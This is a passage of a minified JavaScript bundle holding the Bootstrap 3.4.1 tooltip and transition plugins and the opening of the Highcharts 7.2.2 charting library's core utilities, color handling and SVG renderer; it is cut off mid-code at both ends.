r=function(t,e){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",t,e)};r.VERSION="3.4.1",r.TRANSITION_DURATION=150,r.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0},sanitize:!0,sanitizeFn:null,whiteList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]}},r.prototype.init=function(e,i,s){if(this.enabled=!0,this.type=e,this.$element=t(i),this.options=this.getOptions(s),this.$viewport=this.options.viewport&&t(document).find(t.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var o=this.options.trigger.split(" "),n=o.length;n--;){var a=o[n];if("click"==a)this.$element.on("click."+this.type,this.options.selector,t.proxy(this.toggle,this));else if("manual"!=a){var r="hover"==a?"mouseenter":"focusin",l="hover"==a?"mouseleave":"focusout";this.$element.on(r+"."+this.type,this.options.selector,t.proxy(this.enter,this)),this.$element.on(l+"."+this.type,this.options.selector,t.proxy(this.leave,this))}}this.options.selector?this._options=t.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},r.prototype.getDefaults=function(){return r.DEFAULTS},r.prototype.getOptions=function(i){var s=this.$element.data();for(var o in s)s.hasOwnProperty(o)&&-1!==t.inArray(o,e)&&delete s[o];return(i=t.extend({},this.getDefaults(),s,i)).delay&&"number"==typeof i.delay&&(i.delay={show:i.delay,hide:i.delay}),i.sanitize&&(i.template=a(i.template,i.whiteList,i.sanitizeFn)),i},r.prototype.getDelegateOptions=function(){var e={},i=this.getDefaults();return this._options&&t.each(this._options,(function(t,s){i[t]!=s&&(e[t]=s)})),e},r.prototype.enter=function(e){var i=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);if(i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i)),e instanceof t.Event&&(i.inState["focusin"==e.type?"focus":"hover"]=!0),i.tip().hasClass("in")||"in"==i.hoverState)i.hoverState="in";else{if(clearTimeout(i.timeout),i.hoverState="in",!i.options.delay||!i.options.delay.show)return i.show();i.timeout=setTimeout((function(){"in"==i.hoverState&&i.show()}),i.options.delay.show)}},r.prototype.isInStateTrue=function(){for(var t in this.inState)if(this.inState[t])return!0;return!1},r.prototype.leave=function(e){var i=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);if(i||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i)),e instanceof t.Event&&(i.inState["focusout"==e.type?"focus":"hover"]=!1),!i.isInStateTrue()){if(clearTimeout(i.timeout),i.hoverState="out",!i.options.delay||!i.options.delay.hide)return i.hide();i.timeout=setTimeout((function(){"out"==i.hoverState&&i.hide()}),i.options.delay.hide)}},r.prototype.show=function(){var e=t.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(e);var i=t.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(e.isDefaultPrevented()||!i)return;var s=this,o=this.tip(),n=this.getUID(this.type);this.setContent(),o.attr("id",n),this.$element.attr("aria-describedby",n),this.options.animation&&o.addClass("fade");var a="function"==typeof this.options.placement?this.options.placement.call(this,o[0],this.$element[0]):this.options.placement,l=/\s?auto?\s?/i,h=l.test(a);h&&(a=a.replace(l,"")||"top"),o.detach().css({top:0,left:0,display:"block"}).addClass(a).data("bs."+this.type,this),this.options.container?o.appendTo(t(document).find(this.options.container)):o.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var c=this.getPosition(),d=o[0].offsetWidth,p=o[0].offsetHeight;if(h){var u=a,f=this.getPosition(this.$viewport);a="bottom"==a&&c.bottom+p>f.bottom?"top":"top"==a&&c.top-p<f.top?"bottom":"right"==a&&c.right+d>f.width?"left":"left"==a&&c.left-d<f.left?"right":a,o.removeClass(u).addClass(a)}var g=this.getCalculatedOffset(a,c,d,p);this.applyPlacement(g,a);var m=function(){var t=s.hoverState;s.$element.trigger("shown.bs."+s.type),s.hoverState=null,"out"==t&&s.leave(s)};t.support.transition&&this.$tip.hasClass("fade")?o.one("bsTransitionEnd",m).emulateTransitionEnd(r.TRANSITION_DURATION):m()}},r.prototype.applyPlacement=function(e,i){var s=this.tip(),o=s[0].offsetWidth,n=s[0].offsetHeight,a=parseInt(s.css("margin-top"),10),r=parseInt(s.css("margin-left"),10);isNaN(a)&&(a=0),isNaN(r)&&(r=0),e.top+=a,e.left+=r,t.offset.setOffset(s[0],t.extend({using:function(t){s.css({top:Math.round(t.top),left:Math.round(t.left)})}},e),0),s.addClass("in");var l=s[0].offsetWidth,h=s[0].offsetHeight;"top"==i&&h!=n&&(e.top=e.top+n-h);var c=this.getViewportAdjustedDelta(i,e,l,h);c.left?e.left+=c.left:e.top+=c.top;var d=/top|bottom/.test(i),p=d?2*c.left-o+l:2*c.top-n+h,u=d?"offsetWidth":"offsetHeight";s.offset(e),this.replaceArrow(p,s[0][u],d)},r.prototype.replaceArrow=function(t,e,i){this.arrow().css(i?"left":"top",50*(1-t/e)+"%").css(i?"top":"left","")},r.prototype.setContent=function(){var t=this.tip(),e=this.getTitle();this.options.html?(this.options.sanitize&&(e=a(e,this.options.whiteList,this.options.sanitizeFn)),t.find(".tooltip-inner").html(e)):t.find(".tooltip-inner").text(e),t.removeClass("fade in top bottom left right")},r.prototype.hide=function(e){var i=this,s=t(this.$tip),o=t.Event("hide.bs."+this.type);function n(){"in"!=i.hoverState&&s.detach(),i.$element&&i.$element.removeAttr("aria-describedby").trigger("hidden.bs."+i.type),e&&e()}if(this.$element.trigger(o),!o.isDefaultPrevented())return s.removeClass("in"),t.support.transition&&s.hasClass("fade")?s.one("bsTransitionEnd",n).emulateTransitionEnd(r.TRANSITION_DURATION):n(),this.hoverState=null,this},r.prototype.fixTitle=function(){var t=this.$element;(t.attr("title")||"string"!=typeof t.attr("data-original-title"))&&t.attr("data-original-title",t.attr("title")||"").attr("title","")},r.prototype.hasContent=function(){return this.getTitle()},r.prototype.getPosition=function(e){var i=(e=e||this.$element)[0],s="BODY"==i.tagName,o=i.getBoundingClientRect();null==o.width&&(o=t.extend({},o,{width:o.right-o.left,height:o.bottom-o.top}));var n=window.SVGElement&&i instanceof window.SVGElement,a=s?{top:0,left:0}:n?null:e.offset(),r={scroll:s?document.documentElement.scrollTop||document.body.scrollTop:e.scrollTop()},l=s?{width:t(window).width(),height:t(window).height()}:null;return t.extend({},o,r,l,a)},r.prototype.getCalculatedOffset=function(t,e,i,s){return"bottom"==t?{top:e.top+e.height,left:e.left+e.width/2-i/2}:"top"==t?{top:e.top-s,left:e.left+e.width/2-i/2}:"left"==t?{top:e.top+e.height/2-s/2,left:e.left-i}:{top:e.top+e.height/2-s/2,left:e.left+e.width}},r.prototype.getViewportAdjustedDelta=function(t,e,i,s){var o={top:0,left:0};if(!this.$viewport)return o;var n=this.options.viewport&&this.options.viewport.padding||0,a=this.getPosition(this.$viewport);if(/right|left/.test(t)){var r=e.top-n-a.scroll,l=e.top+n-a.scroll+s;r<a.top?o.top=a.top-r:l>a.top+a.height&&(o.top=a.top+a.height-l)}else{var h=e.left-n,c=e.left+n+i;h<a.left?o.left=a.left-h:c>a.right&&(o.left=a.left+a.width-c)}return o},r.prototype.getTitle=function(){var t=this.$element,e=this.options;return t.attr("data-original-title")||("function"==typeof e.title?e.title.call(t[0]):e.title)},r.prototype.getUID=function(t){do{t+=~~(1e6*Math.random())}while(document.getElementById(t));return t},r.prototype.tip=function(){if(!this.$tip&&(this.$tip=t(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},r.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},r.prototype.enable=function(){this.enabled=!0},r.prototype.disable=function(){this.enabled=!1},r.prototype.toggleEnabled=function(){this.enabled=!this.enabled},r.prototype.toggle=function(e){var i=this;e&&((i=t(e.currentTarget).data("bs."+this.type))||(i=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,i))),e?(i.inState.click=!i.inState.click,i.isInStateTrue()?i.enter(i):i.leave(i)):i.tip().hasClass("in")?i.leave(i):i.enter(i)},r.prototype.destroy=function(){var t=this;clearTimeout(this.timeout),this.hide((function(){t.$element.off("."+t.type).removeData("bs."+t.type),t.$tip&&t.$tip.detach(),t.$tip=null,t.$arrow=null,t.$viewport=null,t.$element=null}))},r.prototype.sanitizeHtml=function(t){return a(t,this.options.whiteList,this.options.sanitizeFn)};var l=t.fn.tooltip;t.fn.tooltip=function(e){return this.each((function(){var i=t(this),s=i.data("bs.tooltip"),o="object"==typeof e&&e;!s&&/destroy|hide/.test(e)||(s||i.data("bs.tooltip",s=new r(this,o)),"string"==typeof e&&s[e]())}))},t.fn.tooltip.Constructor=r,t.fn.tooltip.noConflict=function(){return t.fn.tooltip=l,this}}(i(3609))},2731:function(t,e,i){!function(t){"use strict";t.fn.emulateTransitionEnd=function(e){var i=!1,s=this;return t(this).one("bsTransitionEnd",(function(){i=!0})),setTimeout((function(){i||t(s).trigger(t.support.transition.end)}),e),this},t((function(){t.support.transition=function(){var t=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var i in e)if(void 0!==t.style[i])return{end:e[i]};return!1}(),t.support.transition&&(t.event.special.bsTransitionEnd={bindType:t.support.transition.end,delegateType:t.support.transition.end,handle:function(e){if(t(e.target).is(this))return e.handleObj.handler.apply(this,arguments)}})}))}(i(3609))},5384:function(t,e,i){var s,o,n;o="undefined"!=typeof window?window:this,n=function(t){function e(t,e,i,s){t.hasOwnProperty(e)||(t[e]=s.apply(null,i))}var i={};return e(i,"parts/Globals.js",[],(function(){var e=void 0!==t?t:"undefined"!=typeof window?window:{},i=e.document,s=e.navigator&&e.navigator.userAgent||"",o=i&&i.createElementNS&&!!i.createElementNS("http://www.w3.org/2000/svg","svg").createSVGRect,n=/(edge|msie|trident)/i.test(s)&&!e.opera,a=-1!==s.indexOf("Firefox"),r=-1!==s.indexOf("Chrome"),l=a&&4>parseInt(s.split("Firefox/")[1],10);return{product:"Highcharts",version:"7.2.2",deg2rad:2*Math.PI/360,doc:i,hasBidiBug:l,hasTouch:!!e.TouchEvent,isMS:n,isWebKit:-1!==s.indexOf("AppleWebKit"),isFirefox:a,isChrome:r,isSafari:!r&&-1!==s.indexOf("Safari"),isTouchDevice:/(Mobile|Android|Windows Phone)/.test(s),SVG_NS:"http://www.w3.org/2000/svg",chartCount:0,seriesTypes:{},symbolSizes:{},svg:o,win:e,marginNames:["plotTop","marginRight","marginBottom","plotLeft"],noop:function(){},charts:[],dateFormats:{}}})),e(i,"parts/Utilities.js",[i["parts/Globals.js"]],(function(t){function e(t,e){return parseInt(t,e||10)}function i(t){return"string"==typeof t}function s(t){return"[object Array]"===(t=Object.prototype.toString.call(t))||"[object Array Iterator]"===t}function o(t,e){return!(!t||"object"!=typeof t||e&&s(t))}function n(t){return o(t)&&"number"==typeof t.nodeType}function a(t){var e=t&&t.constructor;return!(!o(t,!0)||n(t)||!e||!e.name||"Object"===e.name)}function r(t){return"number"==typeof t&&!isNaN(t)&&1/0>t&&-1/0<t}function l(t){return null!=t}function h(t,e,s){var o;return i(e)?l(s)?t.setAttribute(e,s):t&&t.getAttribute&&((o=t.getAttribute(e))||"class"!==e||(o=t.getAttribute(e+"Name"))):p(e,(function(e,i){t.setAttribute(i,e)})),o}function c(t,e){var i;for(i in t||(t={}),e)t[i]=e[i];return t}function d(){for(var t=arguments,e=t.length,i=0;i<e;i++){var s=t[i];if(null!=s)return s}}function p(t,e,i){for(var s in t)Object.hasOwnProperty.call(t,s)&&e.call(i||t[s],t[s],s,t)}t.timers=[];var u=t.charts,f=t.doc,g=t.win;return t.error=function(e,i,s,o){var n=r(e),a=n?"Highcharts error #"+e+": www.highcharts.com/errors/"+e+"/":e.toString(),l=function(){if(i)throw Error(a);g.console&&console.log(a)};if(void 0!==o){var h="";n&&(a+="?"),t.objectEach(o,(function(t,e){h+="\n"+e+": "+t,n&&(a+=encodeURI(e)+"="+encodeURI(t))})),a+=h}s?t.fireEvent(s,"displayError",{code:e,message:a,params:o},l):l()},t.Fx=function(t,e,i){this.options=e,this.elem=t,this.prop=i},t.Fx.prototype={dSetter:function(){var t=this.paths[0],e=this.paths[1],i=[],s=this.now,o=t.length;if(1===s)i=this.toD;else if(o===e.length&&1>s)for(;o--;){var n=parseFloat(t[o]);i[o]=isNaN(n)||"A"===e[o-4]||"A"===e[o-5]?e[o]:s*parseFloat(""+(e[o]-n))+n}else i=e;this.elem.attr("d",i,null,!0)},update:function(){var t=this.elem,e=this.prop,i=this.now,s=this.options.step;this[e+"Setter"]?this[e+"Setter"]():t.attr?t.element&&t.attr(e,i,null,!0):t.style[e]=i+this.unit,s&&s.call(t,i,this)},run:function(e,i,s){var o=this,n=o.options,a=function(t){return!a.stopped&&o.step(t)},r=g.requestAnimationFrame||function(t){setTimeout(t,13)},l=function(){for(var e=0;e<t.timers.length;e++)t.timers[e]()||t.timers.splice(e--,1);t.timers.length&&r(l)};e!==i||this.elem["forceAnimate:"+this.prop]?(this.startTime=+new Date,this.start=e,this.end=i,this.unit=s,this.now=this.start,this.pos=0,a.elem=this.elem,a.prop=this.prop,a()&&1===t.timers.push(a)&&r(l)):(delete n.curAnim[this.prop],n.complete&&0===Object.keys(n.curAnim).length&&n.complete.call(this.elem))},step:function(t){var e=+new Date,i=this.options,s=this.elem,o=i.complete,n=i.duration,a=i.curAnim;if(s.attr&&!s.element)t=!1;else if(t||e>=n+this.startTime){this.now=this.end,this.pos=1,this.update();var r=a[this.prop]=!0;p(a,(function(t){!0!==t&&(r=!1)})),r&&o&&o.call(s),t=!1}else this.pos=i.easing((e-this.startTime)/n),this.now=this.start+(this.end-this.start)*this.pos,this.update(),t=!0;return t},initPath:function(t,e,i){function s(t){for(l=t.length;l--;){var e="M"===t[l]||"L"===t[l],i=/[a-zA-Z]/.test(t[l+3]);e&&i&&t.splice(l+1,0,t[l+1],t[l+2],t[l+1],t[l+2])}}function o(t,e){for(;t.length<v;){t[0]=e[v-t.length];var i=t.slice(0,p);[].splice.apply(t,[0,0].concat(i)),u&&(i=t.slice(t.length-p),[].splice.apply(t,[t.length,0].concat(i)),l--)}t[0]="M"}function n(t,e){for(var i=(v-t.length)/p;0<i&&i--;)(a=t.slice().splice(t.length/f-p,p*f))[0]=e[v-p-i*p],d&&(a[p-6]=a[p-2],a[p-5]=a[p-1]),[].splice.apply(t,[t.length/f,0].concat(a)),u&&i--}e=e||"";var a,l,h=t.startX,c=t.endX,d=-1<e.indexOf("C"),p=d?7:3;e=e.split(" "),i=i.slice();var u=t.isArea,f=u?2:1;if(d&&(s(e),s(i)),h&&c){for(l=0;l<h.length;l++){if(h[l]===c[0]){var g=l;break}if(h[0]===c[c.length-h.length+l]){g=l;var m=!0;break}if(h[h.length-1]===c[c.length-h.length+l]){g=h.length-l;break}}void 0===g&&(e=[])}if(e.length&&r(g)){var v=i.length+g*f*p;m?(o(e,i),n(i,e)):(o(i,e),n(e,i))}return[e,i]},fillSetter:function(){t.Fx.prototype.strokeSetter.apply(this,arguments)},strokeSetter:function(){this.elem.attr(this.prop,t.color(this.start).tweenTo(t.color(this.end),this.pos),null,!0)}},t.merge=function(){var t,e=arguments,i={},s=function(t,e){return"object"!=typeof t&&(t={}),p(e,(function(i,r){!o(i,!0)||a(i)||n(i)?t[r]=e[r]:t[r]=s(t[r]||{},i)})),t};!0===e[0]&&(i=e[1],e=Array.prototype.slice.call(e,2));var r=e.length;for(t=0;t<r;t++)i=s(i,e[t]);return i},t.clearTimeout=function(t){l(t)&&clearTimeout(t)},t.css=function(e,i){t.isMS&&!t.svg&&i&&void 0!==i.opacity&&(i.filter="alpha(opacity="+100*i.opacity+")"),c(e.style,i)},t.createElement=function(e,i,s,o,n){e=f.createElement(e);var a=t.css;return i&&c(e,i),n&&a(e,{padding:"0",border:"none",margin:"0"}),s&&a(e,s),o&&o.appendChild(e),e},t.extendClass=function(t,e){var i=function(){};return c(i.prototype=new t,e),i},t.pad=function(t,e,i){return Array((e||2)+1-String(t).replace("-","").length).join(i||"0")+t},t.relativeLength=function(t,e,i){return/%$/.test(t)?e*parseFloat(t)/100+(i||0):parseFloat(t)},t.wrap=function(t,e,i){var s=t[e];t[e]=function(){var t=Array.prototype.slice.call(arguments),e=arguments,o=this;return o.proceed=function(){s.apply(o,arguments.length?arguments:e)},t.unshift(s),t=i.apply(this,t),o.proceed=null,t}},t.datePropsToTimestamps=function(e){p(e,(function(i,n){o(i)&&"function"==typeof i.getTime?e[n]=i.getTime():(o(i)||s(i))&&t.datePropsToTimestamps(i)}))},t.formatSingle=function(e,i,s){var o=t.defaultOptions.lang;return/f$/.test(e)?(s=(s=e.match(/\.([0-9])/))?s[1]:-1,null!==i&&(i=t.numberFormat(i,s,o.decimalPoint,-1<e.indexOf(",")?o.thousandsSep:""))):i=(s||t.time).dateFormat(e,i),i},t.format=function(e,i,s){for(var o,n,a,r,l,h="{",c=!1,d=[];e&&-1!==(h=e.indexOf(h));){if(o=e.slice(0,h),c){for(r=(n=(o=o.split(":")).shift().split(".")).length,l=i,a=0;a<r;a++)l&&(l=l[n[a]]);o.length&&(l=t.formatSingle(o.join(":"),l,s)),d.push(l)}else d.push(o);e=e.slice(h+1),h=(c=!c)?"}":"{"}return d.push(e),d.join("")},t.getMagnitude=function(t){return Math.pow(10,Math.floor(Math.log(t)/Math.LN10))},t.normalizeTickInterval=function(e,i,s,o,n){var a=e,r=e/(s=d(s,1));for(i||(i=n?[1,1.2,1.5,2,2.5,3,4,5,6,8,10]:[1,2,2.5,5,10],!1===o&&(1===s?i=i.filter((function(t){return 0==t%1})):.1>=s&&(i=[1/s]))),o=0;o<i.length&&(a=i[o],!(n&&a*s>=e||!n&&r<=(i[o]+(i[o+1]||i[o]))/2));o++);return t.correctFloat(a*s,-Math.round(Math.log(.001)/Math.LN10))},t.stableSort=function(t,e){var i,s,o=t.length;for(s=0;s<o;s++)t[s].safeI=s;for(t.sort((function(t,s){return 0===(i=e(t,s))?t.safeI-s.safeI:i})),s=0;s<o;s++)delete t[s].safeI},t.correctFloat=function(t,e){return parseFloat(t.toPrecision(e||14))},t.animObject=function(e){return o(e)?t.merge(e):{duration:e?500:0}},t.timeUnits={millisecond:1,second:1e3,minute:6e4,hour:36e5,day:864e5,week:6048e5,month:24192e5,year:314496e5},t.numberFormat=function(i,s,o,n){i=+i||0,s=+s;var a=t.defaultOptions.lang,l=(i.toString().split(".")[1]||"").split("e")[0].length,h=i.toString().split("e");if(-1===s)s=Math.min(l,20);else if(r(s)){if(s&&h[1]&&0>h[1]){var c=s+ +h[1];0<=c?(h[0]=(+h[0]).toExponential(c).split("e")[0],s=c):(h[0]=h[0].split(".")[0]||0,i=20>s?(h[0]*Math.pow(10,h[1])).toFixed(s):0,h[1]=0)}}else s=2;var p=(Math.abs(h[1]?h[0]:i)+Math.pow(10,-Math.max(s,l)-1)).toFixed(s);return c=3<(l=String(e(p))).length?l.length%3:0,o=d(o,a.decimalPoint),n=d(n,a.thousandsSep),i=(0>i?"-":"")+(c?l.substr(0,c)+n:""),i+=l.substr(c).replace(/(\d{3})(?=\d)/g,"$1"+n),s&&(i+=o+p.slice(-s)),h[1]&&0!=+i&&(i+="e"+h[1]),i},Math.easeInOutSine=function(t){return-.5*(Math.cos(Math.PI*t)-1)},t.getStyle=function(i,s,o){return"width"===s?(s=Math.min(i.offsetWidth,i.scrollWidth),(o=i.getBoundingClientRect&&i.getBoundingClientRect().width)<s&&o>=s-1&&(s=Math.floor(o)),Math.max(0,s-t.getStyle(i,"padding-left")-t.getStyle(i,"padding-right"))):"height"===s?Math.max(0,Math.min(i.offsetHeight,i.scrollHeight)-t.getStyle(i,"padding-top")-t.getStyle(i,"padding-bottom")):(g.getComputedStyle||t.error(27,!0),(i=g.getComputedStyle(i,void 0))&&(i=i.getPropertyValue(s),d(o,"opacity"!==s)&&(i=e(i))),i)},t.inArray=function(t,e,i){return e.indexOf(t,i)},t.find=Array.prototype.find?function(t,e){return t.find(e)}:function(t,e){var i,s=t.length;for(i=0;i<s;i++)if(e(t[i],i))return t[i]},t.keys=Object.keys,t.offset=function(t){var e=f.documentElement;return{top:(t=t.parentElement||t.parentNode?t.getBoundingClientRect():{top:0,left:0}).top+(g.pageYOffset||e.scrollTop)-(e.clientTop||0),left:t.left+(g.pageXOffset||e.scrollLeft)-(e.clientLeft||0)}},t.stop=function(e,i){for(var s=t.timers.length;s--;)t.timers[s].elem!==e||i&&i!==t.timers[s].prop||(t.timers[s].stopped=!0)},p({map:"map",each:"forEach",grep:"filter",reduce:"reduce",some:"some"},(function(e,i){t[i]=function(t){return Array.prototype[e].apply(t,[].slice.call(arguments,1))}})),t.addEvent=function(e,i,s,o){void 0===o&&(o={});var n=e.addEventListener||t.addEventListenerPolyfill,a="function"==typeof e&&e.prototype?e.prototype.protoEvents=e.prototype.protoEvents||{}:e.hcEvents=e.hcEvents||{};return t.Point&&e instanceof t.Point&&e.series&&e.series.chart&&(e.series.chart.runTrackerClick=!0),n&&n.call(e,i,s,!1),a[i]||(a[i]=[]),a[i].push({fn:s,order:"number"==typeof o.order?o.order:1/0}),a[i].sort((function(t,e){return t.order-e.order})),function(){t.removeEvent(e,i,s)}},t.removeEvent=function(e,i,s){function o(i,s){var o=e.removeEventListener||t.removeEventListenerPolyfill;o&&o.call(e,i,s,!1)}function n(t){var s;if(e.nodeName){if(i){var n={};n[i]=!0}else n=t;p(n,(function(e,i){if(t[i])for(s=t[i].length;s--;)o(i,t[i][s].fn)}))}}var a;["protoEvents","hcEvents"].forEach((function(t,r){var l=(r=r?e:e.prototype)&&r[t];l&&(i?(a=l[i]||[],s?(l[i]=a.filter((function(t){return s!==t.fn})),o(i,s)):(n(l),l[i]=[])):(n(l),r[t]={}))}))},t.fireEvent=function(t,e,i,s){var o;if(i=i||{},f.createEvent&&(t.dispatchEvent||t.fireEvent)){var n=f.createEvent("Events");n.initEvent(e,!0,!0),c(n,i),t.dispatchEvent?t.dispatchEvent(n):t.fireEvent(e,n)}else i.target||c(i,{preventDefault:function(){i.defaultPrevented=!0},target:t,type:e}),function(e,s){void 0===e&&(e=[]),void 0===s&&(s=[]);var n=0,a=0,r=e.length+s.length;for(o=0;o<r;o++)!1===(e[n]?s[a]?e[n].order<=s[a].order?e[n++]:s[a++]:e[n++]:s[a++]).fn.call(t,i)&&i.preventDefault()}(t.protoEvents&&t.protoEvents[e],t.hcEvents&&t.hcEvents[e]);s&&!i.defaultPrevented&&s.call(t,i)},t.animate=function(e,i,s){var n,a,l,h="";if(!o(s)){var c=arguments;s={duration:c[2],easing:c[3],complete:c[4]}}r(s.duration)||(s.duration=400),s.easing="function"==typeof s.easing?s.easing:Math[s.easing]||Math.easeInOutSine,s.curAnim=t.merge(i),p(i,(function(o,r){t.stop(e,r),l=new t.Fx(e,s,r),a=null,"d"===r?(l.paths=l.initPath(e,e.d,i.d),l.toD=i.d,n=0,a=1):e.attr?n=e.attr(r):(n=parseFloat(t.getStyle(e,r))||0,"opacity"!==r&&(h="px")),a||(a=o),a&&a.match&&a.match("px")&&(a=a.replace(/px/g,"")),l.run(n,a,h)}))},t.seriesType=function(e,i,s,o,n){var a=t.getOptions(),r=t.seriesTypes;return a.plotOptions[e]=t.merge(a.plotOptions[i],s),r[e]=t.extendClass(r[i]||function(){},o),r[e].prototype.type=e,n&&(r[e].prototype.pointClass=t.extendClass(t.Point,n)),r[e]},t.uniqueKey=function(){var t=Math.random().toString(36).substring(2,9),e=0;return function(){return"highcharts-"+t+"-"+e++}}(),t.isFunction=function(t){return"function"==typeof t},g.jQuery&&(g.jQuery.fn.highcharts=function(){var e=[].slice.call(arguments);if(this[0])return e[0]?(new(t[i(e[0])?e.shift():"Chart"])(this[0],e[0],e[1]),this):u[h(this[0],"data-highcharts-chart")]}),{arrayMax:function(t){for(var e=t.length,i=t[0];e--;)t[e]>i&&(i=t[e]);return i},arrayMin:function(t){for(var e=t.length,i=t[0];e--;)t[e]<i&&(i=t[e]);return i},attr:h,defined:l,destroyObjectProperties:function(t,e){p(t,(function(i,s){i&&i!==e&&i.destroy&&i.destroy(),delete t[s]}))},discardElement:function(e){var i=t.garbageBin;i||(i=t.createElement("div")),e&&i.appendChild(e),i.innerHTML=""},erase:function(t,e){for(var i=t.length;i--;)if(t[i]===e){t.splice(i,1);break}},extend:c,isArray:s,isClass:a,isDOMElement:n,isNumber:r,isObject:o,isString:i,objectEach:p,pick:d,pInt:e,setAnimation:function(t,e){e.renderer.globalAnimation=d(t,e.options.chart.animation,!0)},splat:function(t){return s(t)?t:[t]},syncTimeout:function(t,e,i){return 0<e?setTimeout(t,e,i):(t.call(0,i),-1)}}})),e(i,"parts/Color.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.isNumber,s=e.pInt,o=t.merge;t.Color=function(e){if(!(this instanceof t.Color))return new t.Color(e);this.init(e)},t.Color.prototype={parsers:[{regex:/rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]?(?:\.[0-9]+)?)\s*\)/,parse:function(t){return[s(t[1]),s(t[2]),s(t[3]),parseFloat(t[4],10)]}},{regex:/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/,parse:function(t){return[s(t[1]),s(t[2]),s(t[3]),1]}}],names:{white:"#ffffff",black:"#000000"},init:function(e){var i,s;if((this.input=e=this.names[e&&e.toLowerCase?e.toLowerCase():""]||e)&&e.stops)this.stops=e.stops.map((function(e){return new t.Color(e[1])}));else{if(e&&e.charAt&&"#"===e.charAt()){var o=e.length;e=parseInt(e.substr(1),16),7===o?i=[(16711680&e)>>16,(65280&e)>>8,255&e,1]:4===o&&(i=[(3840&e)>>4|(3840&e)>>8,(240&e)>>4|240&e,(15&e)<<4|15&e,1])}if(!i)for(s=this.parsers.length;s--&&!i;){var n=this.parsers[s];(o=n.regex.exec(e))&&(i=n.parse(o))}}this.rgba=i||[]},get:function(t){var e=this.input,s=this.rgba;if(this.stops){var n=o(e);n.stops=[].concat(n.stops),this.stops.forEach((function(e,i){n.stops[i]=[n.stops[i][0],e.get(t)]}))}else n=s&&i(s[0])?"rgb"===t||!t&&1===s[3]?"rgb("+s[0]+","+s[1]+","+s[2]+")":"a"===t?s[3]:"rgba("+s.join(",")+")":e;return n},brighten:function(t){var e,o=this.rgba;if(this.stops)this.stops.forEach((function(e){e.brighten(t)}));else if(i(t)&&0!==t)for(e=0;3>e;e++)o[e]+=s(255*t),0>o[e]&&(o[e]=0),255<o[e]&&(o[e]=255);return this},setOpacity:function(t){return this.rgba[3]=t,this},tweenTo:function(t,e){var i=this.rgba,s=t.rgba;return s.length&&i&&i.length?((t=1!==s[3]||1!==i[3])?"rgba(":"rgb(")+Math.round(s[0]+(i[0]-s[0])*(1-e))+","+Math.round(s[1]+(i[1]-s[1])*(1-e))+","+Math.round(s[2]+(i[2]-s[2])*(1-e))+(t?","+(s[3]+(i[3]-s[3])*(1-e)):"")+")":t.input||"none"}},t.color=function(e){return new t.Color(e)}})),e(i,"parts/SvgRenderer.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.attr,s=e.defined,o=e.destroyObjectProperties,n=e.erase,a=e.extend,r=e.isArray,l=e.isNumber,h=e.isObject,c=e.isString,d=e.objectEach,p=e.pick,u=e.pInt,f=e.splat,g=t.addEvent,m=t.animate,v=t.charts,x=t.color,y=t.css,b=t.createElement,w=t.deg2rad,k=t.doc,M=t.hasTouch,S=t.isFirefox,T=t.isMS,C=t.isWebKit,A=t.merge,E=t.noop,P=t.removeEvent,O=t.stop,L=t.svg,D=t.SVG_NS,_=t.symbolSizes,I=t.win,z=t.SVGElement=function(){return this};a(z.prototype,{opacity:1,SVG_NS:D,textProps:"direction fontSize fontWeight fontFamily fontStyle color lineHeight width textAlign textDecoration textOverflow textOutline cursor".split(" "),init:function(e,i){this.element="span"===i?b(i):k.createElementNS(this.SVG_NS,i),this.renderer=e,t.fireEvent(this,"afterInit")},animate:function(e,i,s){var o=t.animObject(p(i,this.renderer.globalAnimation,!0));return p(k.hidden,k.msHidden,k.webkitHidden,!1)&&(o.duration=0),0!==o.duration?(s&&(o.complete=s),m(this,e,o)):(this.attr(e,void 0,s),d(e,(function(t,e){o.step&&o.step.call(this,t,{prop:e,pos:1})}),this)),this},complexColor:function(e,i,o){var 